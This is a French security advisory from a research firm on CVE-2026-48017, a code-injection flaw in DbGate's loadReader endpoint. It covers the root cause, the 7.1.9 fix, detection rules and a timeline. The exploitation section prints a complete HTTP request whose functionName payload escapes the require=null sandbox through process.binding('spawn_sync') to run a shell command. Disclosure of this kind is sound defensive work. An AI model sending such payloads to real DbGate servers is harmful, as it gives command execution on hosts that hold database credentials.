CVE-2026-48017

CVSS 8.8 · Élevée Corrigé
Type
Recherche de vulnérabilités
Publié le
Durée de lecture
6 min de lecture
Auteur
rootzero
Read in English
Read in English →

CVE-2026-48017 : exécution de code à distance dans DbGate via l’endpoint loadReader

Tout utilisateur authentifié de DbGate pouvait injecter du JavaScript dans un script exécuté par le serveur, puis sortir du bac à sable require = null.

Pour décider

Impact
Une valeur d’API peut devenir du JavaScript exécuté sur le serveur DbGate.
Conditions
Un compte authentifié est requis. Les effets possibles sont liés aux droits et aux accès du processus serveur.
Action recommandée
Installer DbGate 7.1.9 ou ultérieur et examiner l’exposition de l’instance web.

Fiche de l’avis

Produit
DbGate
Paquet
npm · dbgate-api
Versions affectées
≤ 7.1.8
Corrigé dans
7.1.9
CVSS
8.8 Élevée
Faiblesse
CWE-94
Accès requis
Compte requis
Avis publié
Crédit
rootzero

Synthèse de l’enquête

L’endpoint POST /runners/load-reader de DbGate recopiait le paramètre functionName dans du code JavaScript que le serveur exécutait ensuite dans un processus enfant. Un utilisateur connecté, sans permission particulière, pouvait refermer l’appel prévu, ajouter son propre code et atteindre le système via process.binding("spawn_sync"), que le bac à sable require = null laisse accessible. Corrigé en 7.1.9.

Le second runner hors de la validation

DbGate génère de petits scripts JavaScript pour ses runners. Nous avons comparé deux chemins qui les lancent : start() vérifiait les fonctions autorisées, alors que loadReader() reprenait functionName du corps HTTP et l’insérait dans le script avant de démarrer un processus Node enfant. props passait par JSON.stringify() ; functionName n’avait pas de transformation équivalente. Le nom d’une fonction était traité comme du code déjà fiable.

Nous avons construit un payload pour l’endpoint authentifié : il referme l’appel attendu, demande une commande témoin et neutralise la fin du template. Le PoC conservé est un client et le rapport décrit le marqueur attendu ; aucun ne conserve la réponse de l’endpoint ni une lecture du marqueur côté serveur. La lecture du template explique pourquoi require = null ne retire pas le global process : process.binding reste accessible. Nous séparons ce chemin établi dans le code d’un rejeu live enregistré. Nous avons signalé le cas avant le 10 avril 2026. DbGate a validé functionName dans le code le 10, publié 7.1.9 le 22 avril, puis l’avis CVE-2026-48017 le 22 mai. Le point de départ reste un utilisateur connecté, sans permission spéciale identifiée dans notre preuve.

Deux chemins de runner qui génèrent du code

DbGate génère du JavaScript pour ses runners d’import et d’export, puis lance un processus Node pour l’exécuter. Le serveur web détient les connexions aux bases : le contrôle de permission sur chaque chemin qui génère du code compte.

Une partie des fonctions de DbGate (imports, exports, copies de données entre connexions) repose sur des runners : l’API génère un court programme JavaScript, le lance dans un processus Node.js enfant avec fork() et renvoie le résultat au navigateur. Générer du code à partir des données d’une requête est une opération sensible, et DbGate la traite comme telle à un endroit : le runner start(), qui exécute les scripts utilisateur, vérifie la permission run-shell-script et le réglage de plateforme allowShellScripting avant toute action.

Le loader qui évitait le contrôle

loadReader(), dans packages/api/src/controllers/runners.js, construit lui aussi un script de chargement et le lance avec fork(). Il n’effectue aucun des contrôles de start(). En suivant le paramètre functionName depuis le corps HTTP jusqu’au code généré, on obtient cette chaîne :

runners.js:353      loadReader({ functionName, props })
runners.js:366      loaderScriptTemplate(prefix, functionName, props, runid)
runners.js:64       const reader = await ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});
packageTools.ts:33  return `dbgateApi.${functionName}`;

props passe par JSON.stringify(), qui produit un littéral JavaScript valide quel que soit son contenu. functionName ne reçoit aucun traitement équivalent : compileShellApiFunctionName() le préfixe par dbgateApi. et le renvoie tel quel. La fonction a été écrite pour transformer un nom court comme tableReader en chemin complet, et elle suppose qu’elle reçoit un identifiant. Rien, sur le chemin de la requête, ne le garantit.

Cause racine

Le code vulnérable construit le script de chargement avec un template literal :

// packages/api/src/controllers/runners.js (7.1.8)
const loaderScriptTemplate = (prefix, functionName, props, runid) => `
${prefix}
const dbgateApi = require(process.env.DBGATE_API);
dbgateApi.initializeApiEnvironment();
${requirePluginsTemplate(extractShellApiPlugins(functionName, props))}
require=null;
async function run() {
const reader=await ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});
const writer=await dbgateApi.collectorWriter({runid: '${runid}'});
await dbgateApi.copyStream(reader, writer);
}
dbgateApi.runScript(run);
`;

Deux décisions se cumulent. La première consiste à traiter un champ de requête comme un fragment de code source (CWE-94). La seconde consiste à compter sur require=null comme bac à sable : une fois require effacé, le script généré ne peut plus charger child_process, et les auteurs pouvaient raisonnablement penser que cela limitait ce qu’une expression injectée peut faire. Node.js expose pourtant toujours ses bindings internes via process.binding(). Le binding spawn_sync est la couche native sous child_process.spawnSync() et n’a aucun besoin de require.

Exploitation

Le payload comporte trois parties. toString(); termine l’expression attendue, pour que la ligne await dbgateApi.toString(); reste valide. Le code injecté suit. Un dbgateApi.toString// final rétablit une expression plausible et met en commentaire le (${JSON.stringify(props)}); que le template ajoute.

POST /runners/load-reader HTTP/1.1
Authorization: Bearer <jeton de n’importe quel utilisateur>
Content-Type: application/json

{
  "functionName": "toString();var __r=process.binding(\"spawn_sync\").spawn({file:\"/bin/sh\",args:[\"/bin/sh\",\"-c\",\"id > /tmp/pwned\"],envPairs:[],stdio:[{type:\"pipe\",readable:true,writable:false},{type:\"pipe\",readable:false,writable:true},{type:\"pipe\",readable:false,writable:true}]});dbgateApi.toString//",
  "props": {}
}

Le runner lance alors un script dont la ligne centrale devient :

const reader=await dbgateApi.toString();var __r=process.binding("spawn_sync").spawn({ file:"/bin/sh", args:["/bin/sh","-c","id > /tmp/pwned"], ... });dbgateApi.toString//({});

La commande s’exécute avec les privilèges du processus DbGate. La preuve de concept publique pilote l’endpoint réel, avec un jeton existant ou après connexion par identifiant et mot de passe.

Impact

L’attaquant a besoin d’un compte DbGate, sans permission spécifique : l’avis GitHub le note PR:L. Il obtient en retour l’exécution de commandes sur l’hôte, avec un impact total sur la confidentialité, l’intégrité et la disponibilité (score CVSS 3.1 de 8,8).

L’enjeu réel tient à ce que contient l’hôte. Une instance DbGate partagée stocke les paramètres de connexion des bases qu’elle gère et dispose d’un accès réseau vers elles. L’exécution de code sur cet hôte donne accès à la couche de données, souvent au-delà de ce que le compte compromis pouvait voir par l’interface. Dans un déploiement où la permission run-shell-script avait été volontairement refusée à la plupart des utilisateurs, cette vulnérabilité annule ce choix.

Correctif

DbGate 7.1.9 corrige le défaut à la source, dans les commits 9c97e34 et f9de2d7. Une nouvelle fonction assertValidShellApiFunctionName() n’accepte que deux formes, un identifiant JavaScript simple (tableReader) ou un nom qualifié par son plugin (tableReader@dbgate-plugin-xxx), et la vérification d’identifiant repose sur un motif strict :

// packages/tools/src/packageTools.ts (7.1.9)
const JS_IDENTIFIER_RE = /^[a-zA-Z_$][a-zA-Z0-9_$]*$/;

La validation est appelée dans loadReader() avant la génération du script. Le même commit durcit aussi le code voisin : ScriptWriter valide désormais les noms de variables qu’il émet, et le runid comme les noms de répertoires sont écrits dans le code généré via JSON.stringify() au lieu d’être placés entre apostrophes. Ces changements ferment les variantes de la même erreur, ce qui est le bon réflexe pour cette classe de défaut.

Détection et mitigation

La mise à jour vers la 7.1.9 ou une version ultérieure est la seule correction complète. En attendant, quelques mesures réduisent l’exposition :

  1. Limiter l’accès à l’instance web aux personnes qui en ont besoin, derrière un VPN ou un reverse proxy authentifiant, et passer en revue les comptes existants.
  2. Au niveau du reverse proxy, inspecter le corps des requêtes POST /runners/load-reader. Un functionName légitime est un identifiant, éventuellement suivi de @ et d’un nom de plugin. Toute valeur contenant des parenthèses, des points-virgules, des guillemets, des espaces ou // est suspecte.
  3. Sur l’hôte, surveiller les shells et utilitaires système dont le parent est le processus Node.js de DbGate (par exemple avec une règle auditd ou Falco sur les execve issus de ce processus).

Chronologie

Date Événement
Avant le 10/04/2026 Signalement privé aux mainteneurs via un avis de sécurité GitHub
10/04/2026 Validation de functionName intégrée au code (9c97e34)
22/04/2026 Publication de DbGate 7.1.9
22/05/2026 Publication de l’avis GHSA-hv83-ggc4-v385, attribution de CVE-2026-48017
Après l’avis Publication de la preuve de concept

Références

  1. Avis de l’éditeur · CVE-2026-48017 github.com/dbgate/dbgate/security/advisories/GHSA-hv83-ggc4-v385
  2. Fiche NVD · CVE-2026-48017 nvd.nist.gov/vuln/detail/CVE-2026-48017
  3. Fiche CVE.org · CVE-2026-48017 www.cve.org/CVERecord?id=CVE-2026-48017
  4. MITRE CWE-94 cwe.mitre.org/data/definitions/94.html
  5. Dépôt du projet github.com/dbgate/dbgate
  6. Preuve de concept et notes de reproduction github.com/romain-deperne/CVE-2026-48017

Citer cet avis

rootzero. « CVE-2026-48017 : exécution de code à distance dans DbGate via l’endpoint loadReader ». Recherche de vulnérabilités, rootzero, 22 mai 2026. https://rootzero.eu/research/cve/cve-2026-48017-dbgate-rce/

#Recherche de vulnérabilités

Faites auditer votre code avant qu’un autre ne le fasse.

Votre équipe doit décider quoi corriger avant une livraison ou évaluer une dépendance critique. Nous définissons une mission autour de cette décision, avec des preuves et des priorités de correction expliquées.